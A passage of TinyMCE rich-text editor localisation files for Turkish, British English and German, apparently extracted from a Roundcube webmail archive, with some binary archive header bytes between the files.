"Color swatch": "Renk \u00f6rne\u011fi",
"Turquoise": "Turkuaz",
"Green": "Ye\u015fil",
"Blue": "Mavi",
"Purple": "Mor",
"Navy Blue": "Lacivert",
"Dark Turquoise": "Koyu Turkuaz",
"Dark Green": "Koyu Ye\u015fil",
"Medium Blue": "Donuk Mavi",
"Medium Purple": "Orta Mor",
"Midnight Blue": "Gece Yar\u0131s\u0131 Mavisi",
"Yellow": "Sar\u0131",
"Orange": "Turuncu",
"Red": "K\u0131rm\u0131z\u0131",
"Light Gray": "A\u00e7\u0131k Gri",
"Gray": "Gri",
"Dark Yellow": "Koyu Sar\u0131",
"Dark Orange": "Koyu Turuncu",
"Dark Red": "Koyu K\u0131rm\u0131z\u0131",
"Medium Gray": "Orta Gri",
"Dark Gray": "Koyu Gri",
"Light Green": "A\u00e7\u0131k Ye\u015fil",
"Light Yellow": "A\u00e7\u0131k Sar\u0131",
"Light Red": "A\u00e7\u0131k K\u0131rm\u0131z\u0131",
"Light Purple": "A\u00e7\u0131k Mor",
"Light Blue": "A\u00e7\u0131k Mavi",
"Dark Purple": "Koyu Mor",
"Dark Blue": "Lacivert",
"Black": "Siyah",
"White": "Beyaz",
"Switch to or from fullscreen mode": "Tam ekran moduna ge\u00e7 veya \u00e7\u0131k",
"Open help dialog": "Yard\u0131m penceresini a\u00e7",
"history": "ge\u00e7mi\u015f",
"styles": "stiller",
"formatting": "bi\u00e7imlendirme",
"alignment": "hizalanma",
"indentation": "girinti",
"permanent pen": "kal\u0131c\u0131 kalem",
"comments": "yorumlar",
"Format Painter": "Bi\u00e7im Boyac\u0131s\u0131",
"Insert\/edit iframe": "\u0130frame ekle\/d\u00fczenle",
"Capitalization": "B\u00fcy\u00fck Harfle Yaz\u0131m",
"lowercase": "k\u00fc\u00e7\u00fck harf",
"UPPERCASE": "B\u00dcY\u00dcK HARF",
"Title Case": "\u0130lk Harfler B\u00fcy\u00fck",
"Permanent Pen Properties": "Kal\u0131c\u0131 Kalem \u00d6zellikleri",
"Permanent pen properties...": "Kal\u0131c\u0131 kalem \u00f6zellikleri...",
"Font": "Yaz\u0131 Tipi",
"Size": "Boyut",
"More...": "Devam\u0131...",
"Spellcheck Language": "Yaz\u0131m Denetimi Dili",
"Select...": "Se\u00e7...",
"Preferences": "Tercihler",
"Yes": "Evet",
"No": "Hay\u0131r",
"Keyboard Navigation": "Klavye Tu\u015flar\u0131",
"Version": "S\u00fcr\u00fcm",
"Anchor": "\u00c7apa",
"Special character": "\u00d6zel karakter",
"Code sample": "Code sample",
"Color": "Renk",
"Emoticons": "\u0130fadeler",
"Document properties": "Dok\u00fcman \u00f6zellikleri",
"Image": "Resim",
"Insert link": "Ba\u011flant\u0131 ekle",
"Target": "Hedef",
"Link": "Ba\u011flant\u0131",
"Poster": "Poster",
"Media": "Medya",
"Print": "Yazd\u0131r",
"Prev": "\u00d6nceki",
"Find and replace": "Bul ve de\u011fi\u015ftir",
"Whole words": "Tam kelimeler",
"Spellcheck": "Yaz\u0131m denetimi",
"Caption": "Ba\u015fl\u0131k",
"Insert template": "\u015eablon ekle"
});PK
h�\�)�bs!s!!program/js/tinymce/langs/en_GB.jsnu�[���tinymce.addI18n('en_GB',{
"Redo": "Redo",
"Undo": "Undo",
"Cut": "Cut",
"Copy": "Copy",
"Paste": "Paste",
"Select all": "Select all",
"New document": "New document",
"Ok": "Ok",
"Cancel": "Cancel",
"Visual aids": "Visual aids",
"Bold": "Bold",
"Italic": "Italic",
"Underline": "Underline",
"Strikethrough": "Strike-through",
"Superscript": "Superscript",
"Subscript": "Subscript",
"Clear formatting": "Clear formatting",
"Align left": "Align left",
"Align center": "Align centre",
"Align right": "Align right",
"Justify": "Justify",
"Bullet list": "Bullet list",
"Numbered list": "Numbered list",
"Decrease indent": "Decrease indent",
"Increase indent": "Increase indent",
"Close": "Close",
"Formats": "Formats",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.",
"Headers": "Headers",
"Header 1": "Header 1",
"Header 2": "Header 2",
"Header 3": "Header 3",
"Header 4": "Header 4",
"Header 5": "Header 5",
"Header 6": "Header 6",
"Headings": "Headings",
"Heading 1": "Heading 1",
"Heading 2": "Heading 2",
"Heading 3": "Heading 3",
"Heading 4": "Heading 4",
"Heading 5": "Heading 5",
"Heading 6": "Heading 6",
"Preformatted": "Preformatted",
"Div": "Div",
"Pre": "Pre",
"Code": "Code",
"Paragraph": "Paragraph",
"Blockquote": "Blockquote",
"Inline": "Inline",
"Blocks": "Blocks",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",
"Font Family": "Font Family",
"Font Sizes": "Font Sizes",
"Class": "Class",
"Browse for an image": "Browse for an image",
"OR": "OR",
"Drop an image here": "Drop an image here",
"Upload": "Upload",
"Block": "Block",
"Align": "Align",
"Default": "Default",
"Circle": "Circle",
"Disc": "Disc",
"Square": "Square",
"Lower Alpha": "Lower Alpha",
"Lower Greek": "Lower Greek",
"Lower Roman": "Lower Roman",
"Upper Alpha": "Upper Alpha",
"Upper Roman": "Upper Roman",
"Anchor": "Anchor",
"Name": "Name",
"Id": "ID",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "ID should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.",
"You have unsaved changes are you sure you want to navigate away?": "You have unsaved changes are you sure you want to navigate away?",
"Restore last draft": "Restore last draft",
"Special character": "Special character",
"Source code": "Source code",
"Insert\/Edit code sample": "Insert\/Edit code sample",
"Language": "Language",
"Code sample": "Code sample",
"Color": "Colour",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Left to right",
"Right to left": "Right to left",
"Emoticons": "Emoticons",
"Document properties": "Document properties",
"Title": "Title",
"Keywords": "Keywords",
"Description": "Description",
"Robots": "Robots",
"Author": "Author",
"Encoding": "Encoding",
"Fullscreen": "Full-screen",
"Action": "Action",
"Shortcut": "Shortcut",
"Help": "Help",
"Address": "Address",
"Focus to menubar": "Focus to menubar",
"Focus to toolbar": "Focus to toolbar",
"Focus to element path": "Focus to element path",
"Focus to contextual toolbar": "Focus to contextual toolbar",
"Insert link (if link plugin activated)": "Insert link (if link plugin activated)",
"Save (if save plugin activated)": "Save (if save plugin activated)",
"Find (if searchreplace plugin activated)": "Find (if searchreplace plugin activated)",
"Plugins installed ({0}):": "Plugins installed ({0}):",
"Premium plugins:": "Premium plugins:",
"Learn more...": "Learn more...",
"You are using {0}": "You are using {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Handy Shortcuts",
"Horizontal line": "Horizontal line",
"Insert\/edit image": "Insert\/edit image",
"Image description": "Image description",
"Source": "Source",
"Dimensions": "Dimensions",
"Constrain proportions": "Constrain proportions",
"General": "General",
"Advanced": "Advanced",
"Style": "Style",
"Vertical space": "Vertical space",
"Horizontal space": "Horizontal space",
"Border": "Border",
"Insert image": "Insert image",
"Image": "Image",
"Image list": "Image list",
"Rotate counterclockwise": "Rotate counterclockwise",
"Rotate clockwise": "Rotate clockwise",
"Flip vertically": "Flip vertically",
"Flip horizontally": "Flip horizontally",
"Edit image": "Edit image",
"Image options": "Image options",
"Zoom in": "Zoom in",
"Zoom out": "Zoom out",
"Crop": "Crop",
"Resize": "Resize",
"Orientation": "Orientation",
"Brightness": "Brightness",
"Sharpen": "Sharpen",
"Contrast": "Contrast",
"Color levels": "Colour levels",
"Gamma": "Gamma",
"Invert": "Invert",
"Apply": "Apply",
"Back": "Back",
"Insert date\/time": "Insert date\/time",
"Date\/time": "Date\/time",
"Insert link": "Insert link",
"Insert\/edit link": "Insert\/edit link",
"Text to display": "Text to display",
"Url": "URL",
"Target": "Target",
"None": "None",
"New window": "New window",
"Remove link": "Remove link",
"Anchors": "Anchors",
"Link": "Link",
"Paste or type a link": "Paste or type a link",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?",
"Link list": "Link list",
"Insert video": "Insert video",
"Insert\/edit video": "Insert\/edit video",
"Insert\/edit media": "Insert\/edit media",
"Alternative source": "Alternative source",
"Poster": "Poster",
"Paste your embed code below:": "Paste your embed code below:",
"Embed": "Embed",
"Media": "Media",
"Nonbreaking space": "Non-breaking space",
"Page break": "Page break",
"Paste as text": "Paste as text",
"Preview": "Preview",
"Print": "Print",
"Save": "Save",
"Find": "Find",
"Replace with": "Replace with",
"Replace": "Replace",
"Replace all": "Replace all",
"Prev": "Prev",
"Next": "Next",
"Find and replace": "Find and replace",
"Could not find the specified string.": "Could not find the specified string.",
"Match case": "Match case",
"Whole words": "Whole words",
"Spellcheck": "Spell-check",
"Ignore": "Ignore",
"Ignore all": "Ignore all",
"Finish": "Finish",
"Add to Dictionary": "Add to Dictionary",
"Insert table": "Insert table",
"Table properties": "Table properties",
"Delete table": "Delete table",
"Cell": "Cell",
"Row": "Row",
"Column": "Column",
"Cell properties": "Cell properties",
"Merge cells": "Merge cells",
"Split cell": "Split cell",
"Insert row before": "Insert row before",
"Insert row after": "Insert row after",
"Delete row": "Delete row",
"Row properties": "Row properties",
"Cut row": "Cut row",
"Copy row": "Copy row",
"Paste row before": "Paste row before",
"Paste row after": "Paste row after",
"Insert column before": "Insert column before",
"Insert column after": "Insert column after",
"Delete column": "Delete column",
"Cols": "Cols",
"Rows": "Rows",
"Width": "Width",
"Height": "Height",
"Cell spacing": "Cell spacing",
"Cell padding": "Cell padding",
"Caption": "Caption",
"Left": "Left",
"Center": "Centre",
"Right": "Right",
"Cell type": "Cell type",
"Scope": "Scope",
"Alignment": "Alignment",
"H Align": "H Align",
"V Align": "V Align",
"Top": "Top",
"Middle": "Middle",
"Bottom": "Bottom",
"Header cell": "Header cell",
"Row group": "Row group",
"Column group": "Column group",
"Row type": "Row type",
"Header": "Header",
"Body": "Body",
"Footer": "Footer",
"Border color": "Border colour",
"Insert template": "Insert template",
"Templates": "Templates",
"Template": "Template",
"Text color": "Text colour",
"Background color": "Background colour",
"Custom...": "Custom...",
"Custom color": "Custom colour",
"No color": "No colour",
"Table of Contents": "Table of Contents",
"Show blocks": "Show blocks",
"Show invisible characters": "Show invisible characters",
"Words: {0}": "Words: {0}",
"{0} words": "{0} words",
"File": "File",
"Edit": "Edit",
"Insert": "Insert",
"View": "View",
"Format": "Format",
"Table": "Table",
"Tools": "Tools",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help"
});PK
h�\�ꏰ�F�Fprogram/js/tinymce/langs/de.jsnu�[���tinymce.addI18n('de',{
"Redo": "Wiederholen",
"Undo": "R\u00fcckg\u00e4ngig machen",
"Cut": "Ausschneiden",
"Copy": "Kopieren",
"Paste": "Einf\u00fcgen",
"Select all": "Alles ausw\u00e4hlen",
"New document": "Neues Dokument",
"Ok": "Ok",
"Cancel": "Abbrechen",
"Visual aids": "Visuelle Hilfen",
"Bold": "Fett",
"Italic": "Kursiv",
"Underline": "Unterstrichen",
"Strikethrough": "Durchgestrichen",
"Superscript": "Hochgestellt",
"Subscript": "Tiefgestellt",
"Clear formatting": "Formatierung entfernen",
"Align left": "Linksb\u00fcndig ausrichten",
"Align center": "Zentrieren",
"Align right": "Rechtsb\u00fcndig ausrichten",
"Justify": "Blocksatz",
"Bullet list": "Aufz\u00e4hlung",
"Numbered list": "Nummerierte Liste",
"Decrease indent": "Einzug verkleinern",
"Increase indent": "Einzug vergr\u00f6\u00dfern",
"Close": "Schlie\u00dfen",
"Formats": "Formate",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Ihr Browser unterst\u00fctzt leider keinen direkten Zugriff auf die Zwischenablage. Bitte benutzen Sie die Tastenkombinationen Strg+X\/C\/V.",
"Headers": "\u00dcberschriften",
"Header 1": "\u00dcberschrift 1",
"Header 2": "\u00dcberschrift 2",
"Header 3": "\u00dcberschrift 3",
"Header 4": "\u00dcberschrift 4",
"Header 5": "\u00dcberschrift 5",
"Header 6": "\u00dcberschrift 6",
"Headings": "\u00dcberschriften",
"Heading 1": "Kopfzeile 1",
"Heading 2": "Kopfzeile 2",
"Heading 3": "Kopfzeile 3",
"Heading 4": "Kopfzeile 4",
"Heading 5": "Kopfzeile 5",
"Heading 6": "Kopfzeile 6",
"Preformatted": "Vorformatiert",
"Div": "Div",
"Pre": "Pre",
"Code": "Code",
"Paragraph": "Absatz",
"Blockquote": "Blockquote",
"Inline": "Zeichenformate",
"Blocks": "Bl\u00f6cke",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Einf\u00fcgen ist nun im einfachen Textmodus. Inhalte werden ab jetzt als unformatierter Text eingef\u00fcgt, bis Sie diese Einstellung wieder ausschalten!",
"Fonts": "Schriftarten",
"Font Sizes": "Schriftgr\u00f6\u00dfe",
"Class": "Klasse",
"Browse for an image": "Bild...",
"OR": "ODER",
"Drop an image here": "Bild hier ablegen",
"Upload": "Hochladen",
"Block": "Blocksatz",
"Align": "Ausrichten",
"Default": "Standard",
"Circle": "Kreis",
"Disc": "Punkt",
"Square": "Quadrat",
"Lower Alpha": "Kleinbuchstaben",
"Lower Greek": "Griechische Kleinbuchstaben",
"Lower Roman": "R\u00f6mische Zahlen (Kleinbuchstaben)",
"Upper Alpha": "Gro\u00dfbuchstaben",
"Upper Roman": "R\u00f6mische Zahlen (Gro\u00dfbuchstaben)",
"Anchor...": "Textmarke",
"Name": "Name",
"Id": "Kennung",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Die Kennung sollte mit einem Buchstaben anfangen. Nachfolgend nur Buchstaben, Zahlen, Striche (Minus), Punkte, Kommas und Unterstriche.",
"You have unsaved changes are you sure you want to navigate away?": "Die \u00c4nderungen wurden noch nicht gespeichert, sind Sie sicher, dass Sie diese Seite verlassen wollen?",
"Restore last draft": "Letzten Entwurf wiederherstellen",
"Special character...": "Sonderzeichen...",
"Source code": "Quelltext",
"Insert\/Edit code sample": "Codebeispiel einf\u00fcgen\/bearbeiten",
"Language": "Sprache",
"Code sample...": "Codebeispiel...",
"Color Picker": "Farbwahl",
"R": "R",
"G": "G",
"B": "B",
"Left to right": "Von links nach rechts",
"Right to left": "Von rechts nach links",
"Emoticons": "Emoticons",
"Emoticons...": "Emoticons...",
"Metadata and Document Properties": "Dokument-Eigenschaften und -Metadaten",
"Title": "Titel",
"Keywords": "Sch\u00fcsselw\u00f6rter",
"Description": "Beschreibung",
"Robots": "Robots",
"Author": "Verfasser",
"Encoding": "Zeichenkodierung",
"Fullscreen": "Vollbild",
"Action": "Aktion",
"Shortcut": "Shortcut",
"Help": "Hilfe",
"Address": "Adresse",
"Focus to menubar": "Fokus auf Men\u00fcleiste",
"Focus to toolbar": "Fokus auf Werkzeugleiste",
"Focus to element path": "Fokus auf Elementpfad",
"Focus to contextual toolbar": "Fokus auf kontextbezogene Werkzeugleiste",
"Insert link (if link plugin activated)": "Link einf\u00fcgen (wenn Link-Plugin aktiviert ist)",
"Save (if save plugin activated)": "Speichern (wenn Save-Plugin aktiviert ist)",
"Find (if searchreplace plugin activated)": "Suchen einf\u00fcgen (wenn Suchen\/Ersetzen-Plugin aktiviert ist)",
"Plugins installed ({0}):": "installierte Plugins ({0}):",
"Premium plugins:": "Premium Plugins:",
"Learn more...": "Erfahren Sie mehr dazu...",
"You are using {0}": "Sie verwenden {0}",
"Plugins": "Plugins",
"Handy Shortcuts": "Praktische Tastenkombinationen",
"Horizontal line": "Horizontale Linie",
"Insert\/edit image": "Bild einf\u00fcgen\/bearbeiten",
"Alternative description": "Alternative Beschreibung",
"Accessibility": "Barrierefreiheit",
"Image is decorative": "Bild ist dekorativ",
"Source": "Quelle",
"Dimensions": "Abmessungen",
"Constrain proportions": "Seitenverh\u00e4ltnis beibehalten",
"General": "Allgemein",
"Advanced": "Erweitert",
"Style": "Stil",
"Vertical space": "Vertikaler Abstand",
"Horizontal space": "Horizontaler Abstand",
"Border": "Rahmen",
"Insert image": "Bild einf\u00fcgen",
"Image...": "Bild...",
"Image list": "Bildliste",
"Rotate counterclockwise": "Gegen den Uhrzeigersinn drehen",
"Rotate clockwise": "Im Uhrzeigersinn drehen",
"Flip vertically": "Vertikal spiegeln",
"Flip horizontally": "Horizontal spiegeln",
"Edit image": "Bild bearbeiten",
"Image options": "Bildeigenschaften",
"Zoom in": "Ansicht vergr\u00f6\u00dfern",
"Zoom out": "Ansicht verkleinern",
"Crop": "Bescheiden",
"Resize": "Skalieren",
"Orientation": "Ausrichtung",
"Brightness": "Helligkeit",
"Sharpen": "Sch\u00e4rfen",
"Contrast": "Kontrast",
"Color levels": "Farbwerte",
"Gamma": "Gamma",
"Invert": "Invertieren",
"Apply": "Anwenden",
"Back": "Zur\u00fcck",
"Insert date\/time": "Datum\/Uhrzeit einf\u00fcgen ",
"Date\/time": "Datum\/Uhrzeit",
"Insert\/edit link": "Link einf\u00fcgen\/bearbeiten",
"Text to display": "Anzuzeigender Text",
"Url": "URL",
"Open link in...": "Link \u00f6ffnen in...",
"Current window": "Aktuelles Fenster",
"None": "Keine",
"New window": "Neues Fenster",
"Open link": "Link \u00f6ffnen",
"Remove link": "Link entfernen",
"Anchors": "Textmarken",
"Link...": "Link...",
"Paste or type a link": "Link einf\u00fcgen oder eintippen",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Diese Adresse scheint eine E-Mail-Adresse zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"mailto:\" voranstellen?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Diese Adresse scheint ein externer Link zu sein. M\u00f6chten Sie das dazu ben\u00f6tigte \"http:\/\/\" voranstellen?",
"The URL you entered seems to be an external link. Do you want to add the required https:\/\/ prefix?": "Die eingegebene URL scheint ein externer Link zu sein. Soll das fehlende https:\/\/ davor erg\u00e4nzt werden?",
"Link list": "Linkliste",
"Insert video": "Video einf\u00fcgen",
"Insert\/edit video": "Video einf\u00fcgen\/bearbeiten",
"Insert\/edit media": "Medien einf\u00fcgen\/bearbeiten",
"Alternative source": "Alternative Quelle",
"Alternative source URL": "URL der alternativen Quelle",
"Media poster (Image URL)": "Medienposter (Bild-URL)",
"Paste your embed code below:": "F\u00fcgen Sie Ihren Einbettungscode hier ein:",
"Embed": "Einbetten",
"Media...": "Medien...",
"Nonbreaking space": "Gesch\u00fctztes Leerzeichen",
"Page break": "Seitenumbruch",
"Paste as text": "Als Text einf\u00fcgen",
"Preview": "Vorschau",
"Print...": "Drucken...",
"Save": "Speichern",
"Find": "Suchen",
"Replace with": "Ersetzen durch",
"Replace": "Ersetzen",
"Replace all": "Alles ersetzen",
"Previous": "Vorherige",
"Next": "Weiter",
"Find and Replace": "Suchen und Ersetzen",
"Find and replace...": "Suchen und ersetzen...",
"Could not find the specified string.": "Die Zeichenfolge wurde nicht gefunden.",
"Match case": "Gro\u00df-\/Kleinschreibung beachten",
"Find whole words only": "Nur ganze W\u00f6rter suchen",
"Find in selection": "In Auswahl suchen",
"Spellcheck": "Rechtschreibpr\u00fcfung",
"Spellcheck Language": "Sprache f\u00fcr die Rechtschreibpr\u00fcfung",
"No misspellings found.": "Keine Rechtschreibfehler gefunden",
"Ignore": "Ignorieren",
"Ignore all": "Alles Ignorieren",
"Finish": "Ende",
"Add to Dictionary": "Zum W\u00f6rterbuch hinzuf\u00fcgen",
"Insert table": "Tabelle einf\u00fcgen",
"Table properties": "Tabelleneigenschaften",
"Delete table": "Tabelle l\u00f6schen",
"Cell": "Zelle",
"Row": "Zeile",
"Column": "Spalte",
"Cell properties": "Zelleneigenschaften",
"Merge cells": "Zellen verbinden",
"Split cell": "Zelle aufteilen",
"Insert row before": "Neue Zeile davor einf\u00fcgen ",
"Insert row after": "Neue Zeile danach einf\u00fcgen",
"Delete row": "Zeile l\u00f6schen",
"Row properties": "Zeileneigenschaften",
"Cut row": "Zeile ausschneiden",
"Copy row": "Zeile kopieren",
"Paste row before": "Zeile davor einf\u00fcgen",
"Paste row after": "Zeile danach einf\u00fcgen",
"Insert column before": "Neue Spalte davor einf\u00fcgen",
"Insert column after": "Neue Spalte danach einf\u00fcgen",
"Delete column": "Spalte l\u00f6schen",
"Cols": "Spalten",
"Rows": "Zeilen",
"Width": "Breite",
"Height": "H\u00f6he",
"Cell spacing": "Zellenabstand",
"Cell padding": "Zelleninnenabstand",
"Caption": "Beschriftung",
"Show caption": "Beschriftung anzeigen",
"Left": "Linksb\u00fcndig",
"Center": "Zentriert",
"Right": "Rechtsb\u00fcndig",
"Cell type": "Zellentyp",
"Scope": "G\u00fcltigkeitsbereich",
"Alignment": "Ausrichtung",
"H Align": "Horizontale Ausrichtung",
"V Align": "Vertikale Ausrichtung",
"Top": "Oben",
"Middle": "Mitte",
"Bottom": "Unten",
"Header cell": "Kopfzelle",
"Row group": "Zeilengruppe",
"Column group": "Spaltengruppe",
"Row type": "Zeilentyp",
"Header": "Kopfzeile",
"Body": "Inhalt",
"Footer": "Fu\u00dfzeile",
"Border color": "Rahmenfarbe",
"Insert template...": "Vorlage einf\u00fcgen...",
"Templates": "Vorlagen",
"Template": "Vorlage",
"Text color": "Textfarbe",
"Background color": "Hintergrundfarbe",
"Custom...": "Benutzerdefiniert...",
"Custom color": "Benutzerdefinierte Farbe",
"No color": "Keine Farbe",
"Remove color": "Farbauswahl aufheben",
"Table of Contents": "Inhaltsverzeichnis",
"Show blocks": "Bl\u00f6cke anzeigen",
"Show invisible characters": "Unsichtbare Zeichen anzeigen",
"Word count": "Anzahl der W\u00f6rter",
"Count": "Anzahl",
"Document": "Dokument",
"Selection": "Auswahl",
"Words": "W\u00f6rter",
"Words: {0}": "W\u00f6rter: {0}",
"{0} words": "{0} W\u00f6rter",
"File": "Datei",
"Edit": "Bearbeiten",
"Insert": "Einf\u00fcgen",
"View": "Ansicht",
"Format": "Format",
"Table": "Tabelle",
"Tools": "Werkzeuge",
"Powered by {0}": "Betrieben von {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Rich-Text- Area. Dr\u00fccken Sie ALT-F9 f\u00fcr das Men\u00fc. Dr\u00fccken Sie ALT-F10 f\u00fcr Symbolleiste. Dr\u00fccken Sie ALT-0 f\u00fcr Hilfe",
"Image title": "Bildtitel",
"Border width": "Rahmenbreite",
"Border style": "Rahmenstil",
"Error": "Fehler",
"Warn": "Warnung",
"Valid": "G\u00fcltig",
"To open the popup, press Shift+Enter": "Dr\u00fccken Sie Umschalt+Eingabe, um das Popup-Fenster zu \u00f6ffnen.",
"Rich Text Area. Press ALT-0 for help.": "Rich-Text-Bereich. Dr\u00fccken Sie Alt+0 f\u00fcr Hilfe.",
"System Font": "Betriebssystemschriftart",
"Failed to upload image: {0}": "Bild konnte nicht hochgeladen werden: {0}",
"Failed to load plugin: {0} from url {1}": "Plugin konnte nicht geladen werden: {0} von URL {1}",
"Failed to load plugin url: {0}": "Plugin-URL konnte nicht geladen werden: {0}",
"Failed to initialize plugin: {0}": "Plugin konnte nicht initialisiert werden: {0}",
"example": "Beispiel",
"Search": "Suchen",
"All": "Alles",
"Currency": "W\u00e4hrung",
"Text": "Text",
"Quotations": "Anf\u00fchrungszeichen",
"Mathematical": "Mathematisch",
"Extended Latin": "Erweitertes Latein",
"Symbols": "Symbole",
"Arrows": "Pfeile",
"User Defined": "Benutzerdefiniert",
"dollar sign": "Dollarzeichen",
"currency sign": "W\u00e4hrungssymbol",
"euro-currency sign": "Eurozeichen",
"colon sign": "Doppelpunkt",
"cruzeiro sign": "Cruzeirozeichen",
"french franc sign": "Franczeichen",
"lira sign": "Lirezeichen",
"mill sign": "Millzeichen",
"naira sign": "Nairazeichen",
"peseta sign": "Pesetazeichen",
"rupee sign": "Rupiezeichen",
"won sign": "Wonzeichen",
"new sheqel sign": "Schekelzeichen",
"dong sign": "Dongzeichen",
"kip sign": "Kipzeichen",
"tugrik sign": "Tugrikzeichen",
"drachma sign": "Drachmezeichen",
"german penny symbol": "Pfennigzeichen",
"peso sign": "Pesozeichen",
"guarani sign": "Guaranizeichen",
"austral sign": "Australzeichen",
"hryvnia sign": "Hrywnjazeichen",
"cedi sign": "Cedizeichen",
"livre tournois sign": "Livrezeichen",
"spesmilo sign": "Spesmilozeichen",
"tenge sign": "Tengezeichen",
"indian rupee sign": "Indisches Rupiezeichen",
"turkish lira sign": "T\u00fcrkisches Lirazeichen",
"nordic mark sign": "Zeichen nordische Mark",
"manat sign": "Manatzeichen",
"ruble sign": "Rubelzeichen",
"yen character": "Yenzeichen",
"yuan character": "Yuanzeichen",
"yuan character, in hong kong and taiwan": "Yuanzeichen in Hongkong und Taiwan",
"yen\/yuan character variant one": "Yen-\/Yuanzeichen Variante 1",
"Loading emoticons...": "Emoticons werden geladen...",
"Could not load emoticons": "Emoticons konnten nicht geladen werden",
"People": "Menschen",
"Animals and Nature": "Tiere und Natur",
"Food and Drink": "Essen und Trinken",
"Activity": "Aktivit\u00e4t",
"Travel and Places": "Reisen und Orte",
"Objects": "Objekte",
"Flags": "Flaggen",
"Characters": "Zeichen",
"Characters (no spaces)": "Zeichen (ohne Leerzeichen)",
"{0} characters": "{0}\u00a0Zeichen",
"Error: Form submit field collision.": "Fehler: Kollision der Formularbest\u00e4tigungsfelder.",
"Error: No form element found.": "Fehler: Kein Formularelement gefunden.",
"Update": "Aktualisieren",
"Color swatch": "Farbpalette",
"Turquoise": "T\u00fcrkis",
"Green": "Gr\u00fcn",
"Blue": "Blau",
"Purple": "Violett",
"Navy Blue": "Marineblau",
"Dark Turquoise": "Dunkelt\u00fcrkis",
"Dark Green": "Dunkelgr\u00fcn",
"Medium Blue": "Mittleres Blau",
"Medium Purple": "Mittelviolett",
"Midnight Blue": "Mitternachtsblau",
"Yellow": "Gelb",
"Orange": "Orange",
"Red": "Rot",
"Light Gray": "Hellgrau",
"Gray": "Grau",
"Dark Yellow": "Dunkelgelb",
"Dark Orange": "Dunkelorange",
"Dark Red": "Dunkelrot",
"Medium Gray": "Mittelgrau",
"Dark Gray": "Dunkelgrau",
"Light Green": "Hellgr\u00fcn",
"Light Yellow": "Hellgelb",
"Light Red": "Hellrot",
"Light Purple": "Helllila",
"Light Blue": "Hellblau",
"Dark Purple": "Dunkellila",
"Dark Blue": "Dunkelblau",
"Black": "Schwarz",
"White": "Wei\u00df",
"Switch to or from fullscreen mode": "Vollbildmodus umschalten",
"Open help dialog": "Hilfe-Dialog \u00f6ffnen",
"history": "Historie",
"styles": "Stile",
"formatting": "Formatierung",
"alignment": "Ausrichtung",
"indentation": "Einr\u00fcckungen",
"Font": "Schriftart",
"Size": "Schriftgr\u00f6\u00dfe",
"More...": "Mehr...",
"Select...": "Auswahl...",
"Preferences": "Einstellungen",
"Yes": "Ja",
"No": "Nein",
"Keyboard Navigation": "Tastaturnavigation",
"Version": "Version",
"Code view": "Code Ansicht",
"Open popup menu for split buttons": "\u00d6ffne Popup Menge um Buttons zu trennen",
"List Properties": "Liste Eigenschaften",
"List properties...": "Liste Eigenschaften",
"Start list at number": "Beginne Liste mit Nummer",
"Line height": "Liniendicke",
"comments": "Anmerkungen",
"Format Painter": "Format-Painter",
"Insert\/edit iframe": "iframe einf\u00fcgen\/bearbeiten",
"Capitalization": "Gro\u00dfschreibung",
"lowercase": "Kleinbuchstaben",
"UPPERCASE": "Gro\u00dfbuchstaben",
"Title Case": "Gro\u00df-\/Kleinschreibung des Titels",
"permanent pen": "Textmarker",
"Permanent Pen Properties": "Eigenschaften von Permanent Pen",
"Permanent pen properties...": "Eigenschaften von Permanent Pen...",
"case change": "Gro\u00df-\/Kleinschreibung",
"page embed": "Seite einbetten",
"Advanced sort...": "Erweiterte Sortierung...",
"Advanced Sort": "Erweiterte Sortierung",
"Sort table by column ascending": "Tabelle aufsteigend nach Spalten sortieren",
"Sort table by column descending": "Tabelle absteigend nach Spalten sortieren",
"Sort": "Sortieren",
"Order": "Reihenfolge",
"Sort by": "Sortieren nach",
"Ascending": "Aufsteigend",
"Descending": "Absteigend",
"Column {0}": "Spalte {0}",
"Row {0}": "Reihe {0}",
"Spellcheck...": "Rechtschreibpr\u00fcfung...",
"Misspelled word": "Rechtschreibfehler",
"Suggestions": "Vorschl\u00e4ge",
"Change": "Ver\u00e4ndere",
"Finding word suggestions": "Finde Wort Vorschl\u00e4ge",
"Success": "Erfolg",
"Repair": "Reparieren",
"Issue {0} of {1}": "Fehler {0} von {1}",
"Images must be marked as decorative or have an alternative text description": "Bilder m\u00fcssen entweder als dekorativ markiert werden oder eine alternative Beschreibung bekommen",
"Images must have an alternative text description. Decorative images are not allowed.": "Bilder ben\u00f6tigen alternativen Text. Dekorative Bilder nicht erlaubt!",
"Or provide alternative text:": "Oder definiere alternativen Text:",
"Make image decorative:": "Markiere Bild als dekorativ:",
"ID attribute must be unique": "ID muss einzigartig sein",
"Make ID unique": "Mache diese ID einzigartig",
"Keep this ID and remove all others": "Behalte diese ID und entferne alle anderen",
"Remove this ID": "Entferne diese ID",
"Remove all IDs": "Entferne alle IDs",
"Checklist": "Checkliste",
"Anchor": "Textmarke",
"Special character": "Sonderzeichen",
"Code sample": "Codebeispiel",
"Color": "Farbe",
"Document properties": "Dokumenteigenschaften",
"Image description": "Bildbeschreibung",
"Image": "Bild",
